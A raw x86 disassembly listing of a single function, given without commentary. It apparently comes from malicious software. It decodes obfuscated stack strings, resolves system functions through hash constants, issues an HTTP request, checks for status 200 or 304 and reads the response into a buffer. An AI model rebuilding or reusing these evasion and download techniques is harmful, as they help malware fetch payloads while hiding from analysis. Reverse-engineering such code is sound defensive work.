mov edx, str.uqlbqbg_nobsukxy_snc_dlpgqg_fitfllc_ogmq_dmxb_ztiyfemnd_rdnwkt_ulzxytc_ukpndxryd_wpv
mov ecx, 0x10079cf8
call fcn.1001081c
jmp 0x100316b4
push 0x46
pop esi
push ecx
lea eax, [ebp - 0x254]
mov dword [ebp - 4], 0x1c
push eax
push 0x66c4
push ecx
push ecx
mov dl, 1
mov dword [ebp - 0x220], 0x5e1bfeda
lea ecx, [ebp - 0x180]
call fcn.1002fc13
add esp, 0x14
lea eax, [ebp - 0x220]
push eax
push 0x3867
push ecx
lea eax, [ebp - 0x228]
mov cl, 1
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.1002edf1
add esp, 0x20
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x254]
call fcn.1000de35
push 3
pop eax
push 2
mov ecx, ebx
mov word [ebp - 0x4fc], si
mov dword [ebp - 0x148], 0x4140b06
mov dword [ebp - 0x144], 0x721e761d
mov dword [ebp - 0x140], 0xa157f1f
mov dword [ebp - 0x13c], 0xf6040a04
mov dword [ebp - 0x138], 0x255fcd2c
mov dword [ebp - 0x134], 0xe3f2344
mov dword [ebp - 0x130], 0xc1c076f
mov dword [ebp - 0x12c], 0x18010206
mov word [ebp - 0x128], 0x91b
mov byte [ebp - 0x126], bl
mov dword [ebp - 0x125], 0x905140a
mov byte [ebp - 0x121], 0x12
mov byte [ebp - 0x120], al
mov dword [ebp - 0x11f], 0x50d0508
mov byte [ebp - 0x11b], bl
mov dword [ebp - 0x11a], 0x1c4f2448
mov dword [ebp - 0x116], 0x1751704
mov byte [ebp - 0x112], al
mov dword [ebp - 0x111], 0x122050b
mov dword [ebp - 0x10d], 0x7a20011b
mov dword [ebp - 0x109], 0x10f0919
mov word [ebp - 0x105], 0x121
mov byte [ebp - 0x103], 0x1a
mov byte [ebp - 0x102], bl
mov word [ebp - 0x101], 0x1d13
mov byte [ebp - 0xff], al
mov word [ebp - 0xfe], 0x1169
mov byte [ebp - 0xfc], bl
mov word [ebp - 0xfb], 0x7616
mov byte [ebp - 0xf9], 0x10
mov byte [ebp - 0xf8], al
pop esi
mov dword [ebp - 0x164], ecx
cmp esi, 0xe
jne 0x10031860
push 5
pop ecx
push 0x11
mov dword [ebp - 0x164], ecx
pop esi
jmp 0x100318bb
movzx edx, byte [ebp + esi - 0x147]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x14a]
movzx ecx, word [ebp + eax*2 - 0x508]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x148]
add ecx, edx
mov edx, 0x16a1
mov word [ebp + eax*2 - 0x508], cx
lea eax, [ebp - 0x164]
push eax
push 0x14f5
push 1
push 1
xor cl, cl
call fcn.1002fa09
mov ecx, dword [ebp - 0x164]
add esp, 0x10
add esi, 2
cmp esi, 0x51
jb 0x1003184d
xor eax, eax
mov dword [ebp - 0x2b8], 7
mov word [ebp - 0x4bc], ax
lea ecx, [ebp - 0x2cc]
mov word [ebp - 0x2cc], ax
lea eax, [ebp - 0x508]
push eax
mov dword [ebp - 0x2bc], ebx
call fcn.10024398
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x294], 8
lea edi, [ebp - 0x508]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x3c8]
mov esi, 0x4218
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x2a8]
cmovae eax, dword [ebp - 0x2a8]
mov edi, 0x26e3
push eax
push esi
push edi
call fcn.1002368b
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10031e6c
cmp dword [ebp - 0x2b8], 8
lea ecx, [ebp - 0x3d8]
push ecx
lea eax, [ebp - 0x2cc]
cmovae eax, dword [ebp - 0x2cc]
push eax
push esi
push edi
call fcn.1002368b
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10031e6c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c8]
push eax
push 3
push ebx
lea eax, [ebp - 0x3d8]
push eax
push esi
push 0x596a
call fcn.1002368b
pop ecx
pop ecx
call eax
test eax, eax
js 0x10031e6c
cmp dword [ebp - 0x28], 0
je 0x10031e6c
push ecx
push 0x3d3a
push 0x50d5
lea eax, [ebp - 0x398]
push eax
push ecx
xor cl, cl
call fcn.1002ef5d
add esp, 0x14
mov word [ebp - 0x58], 0x6401
xor eax, eax
mov byte [ebp - 0x56], bl
mov word [ebp - 0x390], ax
mov ecx, ebx
mov dword [ebp - 0x55], 0xd4b50322
push 0x65
pop eax
push 2
mov word [ebp - 0x51], 0x2f1
mov byte [ebp - 0x4f], 0x33
mov word [ebp - 0x16e], ax
pop esi
mov dword [ebp - 0x15c], ecx
cmp esi, 4
jne 0x10031a0d
push esi
pop ecx
push 6
mov dword [ebp - 0x15c], ecx
pop esi
jmp 0x10031a66
movzx edx, byte [ebp + esi - 0x57]
mov eax, esi
sub eax, ecx
push 0x3b96
movzx eax, byte [ebp + eax - 0x5a]
movzx eax, word [ebp + eax*2 - 0x170]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0x58]
mov word [ebp + eax*2 - 0x170], cx
lea eax, [ebp - 0x15c]
push eax
push 0x5cca
push 0x1b33
push ebx
push 0x62a
mov cl, 1
call fcn.1002f756
mov ecx, dword [ebp - 0x15c]
add esp, 0x18
add esi, 2
cmp esi, 0xa
jb 0x100319fb
xor eax, eax
mov dword [ebp - 0x19c], 7
mov word [ebp - 0x16a], ax
lea ecx, [ebp - 0x1b0]
mov word [ebp - 0x1b0], ax
lea eax, [ebp - 0x170]
push eax
mov dword [ebp - 0x1a0], ebx
call fcn.10024398
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1b0]
cmp dword [ebp - 0x19c], 8
mov eax, dword [ebp - 0x1a0]
cmovae ecx, dword [ebp - 0x1b0]
push dword [ebp - 0x180]
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x200], ebx
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1fc], ebx
cmovae ecx, dword [ebp - 0x1b0]
push eax
push ecx
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x1f8], ebx
call fcn.1002a901
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x218], ebx
call fcn.1002a326
mov edx, dword [ebp - 0x14c]
cmp dword [edx + 0x14], 8
jb 0x10031b2b
mov ecx, dword [edx]
jmp 0x10031b2d
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10031b3b
mov edx, dword [edx]
push dword [ebp - 0x180]
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x1bc], ebx
push eax
push edx
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
call fcn.1002a901
push 0x3a1f
push 0x7c63
push 0x3fbb
push 0x167b
push 0x2c6b
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 0x22
push eax
push 0x1a9d
push ebx
push 1
push 1
mov edx, 0x5e16
mov ecx, 0x6645
call fcn.1002f254
cmp dword [ebp - 0x19c], 8
lea edx, [ebp - 0x1b0]
lea esi, [ebp - 0x300]
mov eax, dword [ebp - 0x28]
cmovae edx, dword [ebp - 0x1b0]
add esp, 0x18
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x300]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x398]
push dword [ebp - 0x1bc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10031e16
mov esi, dword [ebp - 0x17c]
mov cl, 1
mov dword [ebp - 0x154], ebx
cmp esi, dword [ebp - 0x178]
je 0x10031c56
add esi, 0x18
test cl, cl
je 0x10031c3e
cmp dword [esi + 0x14], 8
jb 0x10031c1d
mov edi, dword [esi]
jmp 0x10031c1f
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10031c2a
mov edx, dword [esi - 0x18]
jmp 0x10031c2d
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x28]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10031c40
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x178]
jne 0x10031c0f
test cl, cl
je 0x10031e16
mov eax, dword [ebp - 0x28]
lea esi, [ebp - 0x300]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10031e16
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x154]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10031e16
cmp dword [ebp - 0x154], 0x130
je 0x10031caa
cmp dword [ebp - 0x154], 0xc8
jne 0x10031e16
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x3b8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10031e16
mov esi, dword [ebp - 0x3b0]
mov dword [ebp - 0x1e4], esi
test esi, esi
je 0x10031e16
mov eax, dword [esi]
lea ecx, [ebp - 0x560]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x10031dd7
mov eax, dword [ebp - 0x558]
mov dl, 1
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push ecx
push eax
lea eax, [ebp - 0x198]
push eax
call fcn.1002ef20
mov edx, dword [ebp - 0x5c]
mov eax, ebx
mov edi, dword [ebp - 0x198]
add esp, 0xc
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x158], eax
mov ecx, dword [esi]
lea ebx, [ebp - 0x150]
push ebx
push edx
add eax, edi
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x10031d97
push ecx
mov eax, ebx
push eax
lea eax, [ebp - 0x158]
push eax
push 0x1a04
push ecx
mov cl, 1
call fcn.1002ef5d
add esp, 0x14
lea eax, [ebp - 0x184]
mov edx, ebx
mov ecx, 0x3cde
push 1
push 0x4bf8
push eax
push 1
push 1
push 0x7985
push 0x73d7
call fcn.1002ef7b
mov eax, dword [ebp - 0x158]
add esp, 0x1c
cmp eax, dword [ebp - 0x5c]
jae 0x10031d97
mov edx, dword [ebp - 0x184]
jmp 0x10031d29
push 0x5043
push 0x73e9
push 0x1a94
lea eax, [ebp - 0x198]
mov dl, 1
push eax
push 0x4183
push 1
push 0x7de
push 0x6e7d
lea eax, [ebp - 0x158]
mov cl, dl
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.1002fd77
add esp, 0x28
xor ebx, ebx
push 1
push 0x2ea9
push ecx
push 0x6e03
push 1
lea eax, [ebp - 0x1e4]
mov edx, 0x5dae
push eax
push ecx
push 1
push 0x467e
push 0xddc
push 0x1bc7
push 0x7735
mov ecx, 0x3739
call fcn.10030302
add esp, 0x30
push 0xa2b
push 0x3a70
lea eax, [ebp - 0x28]
xor dl, dl
push eax
push 0x75dd
push 1
push 0x703
mov cl, 1
call fcn.1002f756
add esp, 0x18
mov dword [ebp - 0x28], ebx
lea ecx, [ebp - 0x1bc]
call fcn.1000ea78
lea ecx, [ebp - 0x200]
call fcn.1000ea78
push ebx
push 1
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x1f
call fcn.1000e73d
mov esi, 0x4218
push esi
push 0x2ea9
call fcn.1002368b
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x198]
push eax
call fcn.10032138
push ebx
push 1
lea ecx, [ebp - 0x2cc]
call fcn.1000e73d
push ebx
push 1
lea ecx, [ebp - 0x2a8]
call fcn.1000e73d
lea ecx, [ebp - 0x17c]
call fcn.1002a41e
lea ecx, [ebp - 0x198]
call fcn.1002a67f
lea ecx, [ebp + 8]
call fcn.1002a41e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret